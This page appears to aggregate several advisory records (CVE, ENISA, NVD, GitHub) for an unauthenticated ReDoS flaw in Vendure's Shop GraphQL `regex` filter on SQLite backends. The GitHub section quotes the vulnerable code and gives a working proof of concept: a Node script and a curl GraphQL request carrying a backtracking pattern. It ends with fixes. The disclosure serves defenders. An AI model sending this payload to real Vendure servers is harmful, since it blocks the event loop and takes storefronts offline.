Vendure: Unauthenticated ReDoS via `regex` filter on SQLite backends

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Vendure is an open-source headless commerce platform. Prior to 3.6.5, the public Shop GraphQL API allows an unauthenticated caller to supply a catastrophically backtracking pattern through StringOperators.regex. packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts passes the raw pattern to the REGEXP implementation registered by packages/core/src/service/helpers/list-query-builder/list-query-builder.ts, and better-sqlite3 and sqljs evaluate it synchronously in the Node.js event loop. ShopProductsResolver.products is publicly reachable, so one nested-quantifier pattern can block request processing and make the storefront and admin API unavailable, while repeated requests can sustain denial of service. PostgreSQL and MySQL or MariaDB deployments do not execute this regular expression in the Node.js event loop. This issue is fixed in version 3.6.5.

Source published

17 Sep 2026 14:38:45 UTC

Source modified

17 Sep 2026 15:04:11 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vendure is an open-source headless commerce platform. Prior to 3.6.5, the public Shop GraphQL API allows an unauthenticated caller to supply a catastrophically backtracking pattern through StringOperators.regex. packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts passes the raw pattern to the REGEXP implementation registered by packages/core/src/service/helpers/list-query-builder/list-query-builder.ts, and better-sqlite3 and sqljs evaluate it synchronously in the Node.js event loop. ShopProductsResolver.products is publicly reachable, so one nested-quantifier pattern can block request processing and make the storefront and admin API unavailable, while repeated requests can sustain denial of service. PostgreSQL and MySQL or MariaDB deployments do not execute this regular expression in the Node.js event loop. This issue is fixed in version 3.6.5.

Source published

Sep 17, 2026, 2:38:45 PM (timezone not stated)

Source modified

Sep 17, 2026, 3:04:11 PM (timezone not stated)

Observed here

11 Nov 2026 15:06:23 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vendure is an open-source headless commerce platform. Prior to 3.6.5, the public Shop GraphQL API allows an unauthenticated caller to supply a catastrophically backtracking pattern through StringOperators.regex. packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts passes the raw pattern to the REGEXP implementation registered by packages/core/src/service/helpers/list-query-builder/list-query-builder.ts, and better-sqlite3 and sqljs evaluate it synchronously in the Node.js event loop. ShopProductsResolver.products is publicly reachable, so one nested-quantifier pattern can block request processing and make the storefront and admin API unavailable, while repeated requests can sustain denial of service. PostgreSQL and MySQL or MariaDB deployments do not execute this regular expression in the Node.js event loop. This issue is fixed in version 3.6.5.

Source published

17 Sep 2026 15:16:49 UTC

Source modified

17 Sep 2026 21:16:02 UTC

Observed here

25 Oct 2026 15:18:45 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary > [!IMPORTANT] > Only instances running on the SQLite driver (better-sqlite3) are affected; SQLite is usually used in development/testing backend, so production deployments on PostgreSQL or MySQL/MariaDB are unaffected. The `StringOperators.regex` filter exposed on the public Shop GraphQL API is evaluated inside the Node.js event loop via a synchronous SQLite user-defined function (UDF). Supplying a catastrophically backtracking pattern blocks the entire event loop, causing a complete denial of service with no authentication required. --- ### Details Vendure registers a JavaScript UDF so that SQLite can handle the `REGEXP` operator: **`packages/core/src/service/helpers/list-query-builder/list-query-builder.ts` lines 917–931** ```ts private registerSQLiteRegexpFunction() { const regexpFn = (pattern: string, value: string) => { const result = new RegExp(`${pattern}`, 'i').test(value); // user-controlled pattern return result ? 1 : 0; }; if (dbType === 'better-sqlite3') { driver.databaseConnection.function('regexp', regexpFn); } if (dbType === 'sqljs') { driver.databaseConnection.create_function('regexp', regexpFn); } } ``` The `pattern` argument is the raw value of `StringOperators.regex` submitted by the caller. No length limit, timeout, or safe-regex validation is applied before constructing `new RegExp(pattern)`. **`packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts` lines 321–325** ```ts case 'regex': return { clause: getRegexpClause(fieldName, argIndex, dbType), parameters: { [`arg${argIndex}`]: operand }, // operand = raw user input }; ``` The `products` resolver in `packages/core/src/api/resolvers/shop/shop-products.resolver.ts` carries **no `@Allow` decorator**, and the access control strategy treats an empty permission set as publicly accessible: **`packages/core/src/config/auth/default-entity-access-control-strategy.ts` lines 49–52** ```ts async canAccess(ctx: RequestContext, permissions: Permission[]): Promise<boolean> { if (permissions.length === 0) { return true; // no @Allow → public } ... } ``` The three conditions together — user-controlled regex, synchronous JS UDF on the event loop, unauthenticated access — create a complete unauthenticated DoS path. Affected database drivers: `better-sqlite3`, `sqljs`. MySQL/MariaDB and PostgreSQL delegate the pattern to the database engine (those engines have their own exposure characteristics but do not block the Node.js event loop). --- ### PoC <img width="1610" height="458" alt="image" src="https://github.com/user-attachments/assets/327f3847-79d9-43e2-859e-47a753e61b2b" /> [poc.zip](https://github.com/user-attachments/files/28752976/poc.zip) [poc-redos.js](https://github.com/user-attachments/files/28753000/poc-redos.js) **Prerequisites:** Node.js ≥ 18. No account, no server, no dependencies. **Step 1 — save the following as `poc-redos.js`:** ```js // Exact code from list-query-builder.ts:918-919 const PATTERN = '(a+)+$'; const VALUE = 'a'.repeat(28) + 'b'; console.log('[*] pattern:', PATTERN, ' value:', VALUE); console.log('[*] Starting (server would be unresponsive from this point)...'); const start = Date.now(); const result = new RegExp(`${PATTERN}`, 'i').test(VALUE); console.log('[+] elapsed:', Date.now() - start, 'ms result:', result); ``` **Step 2 — run it:** ```cmd node poc-redos.js ``` **Expected output (verified on Node.js v24.14.0):** ``` [*] pattern: (a+)+$ value: aaaaaaaaaaaaaaaaaaaaaaaaaaaab [*] Starting (server would be unresponsive from this point)... [+] elapsed: 19755 ms result: false ``` A 29-character input causes ~20 seconds of CPU spin. Inside a live Vendure server this same code runs synchronously in the SQLite UDF on the Node.js event loop — the process cannot handle any other request for the entire duration. **Step 3 — GraphQL payload (against a running Vendure instance with `better-sqlite3` or `sqljs` driver):** ```cmd curl -s -X POST http://localhost:3000/shop-api -H "Content-Type: application/json" -d "{\"query\":\"{ products(options:{filter:{name:{regex:\\\"(a+)+$\\\"}}}) { items { id } } }\"}" --max-time 60 ``` *No test account is needed. The `products` query is publicly accessible.* --- ### Impact **Vulnerability type:** Regular Expression Denial of Service (ReDoS) **Who is impacted:** - Any Vendure deployment running with a `better-sqlite3` or `sqljs` database driver (typical for development environments and single-server small deployments created via `@vendure/create`). - Any unauthenticated internet user can trigger the attack — no credentials, no API key, no session. - A single malicious HTTP request blocks the Node.js event loop, making the entire storefront and admin panel unresponsive until the regex engine times out (which may take tens of seconds to minutes depending on the host CPU and pattern chosen). - Repeated requests constitute a sustained DoS requiring no more bandwidth than a single HTTP request per CPU-second. --- ### Fix 1. **Validate the regex before constructing it.** Reject patterns that are known to cause catastrophic backtracking using a safe-regex library (e.g. `safe-regex2` or `recheck`) before passing them to `new RegExp()`. 2. **Enforce a maximum pattern length.** Reject `StringOperators.regex` values exceeding a reasonable limit (e.g. 100 characters) at the GraphQL validation layer. 3. **Run the UDF in a worker thread.** Move `regexpFn` off the main event loop by executing it in a `worker_threads` context with an `AbortSignal` timeout so a hung regex cannot block the server. 4. **Require authentication for filtered list queries.** Add `@Allow(Permission.Authenticated)` to `ShopProductsResolver.products` (and other filterable list queries) if anonymous product browsing is not a business requirement, as a defence-in-depth measure. ---

Source published

17 Sep 2026 14:49:56 UTC

Source modified

25 Sep 2026 17:45:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH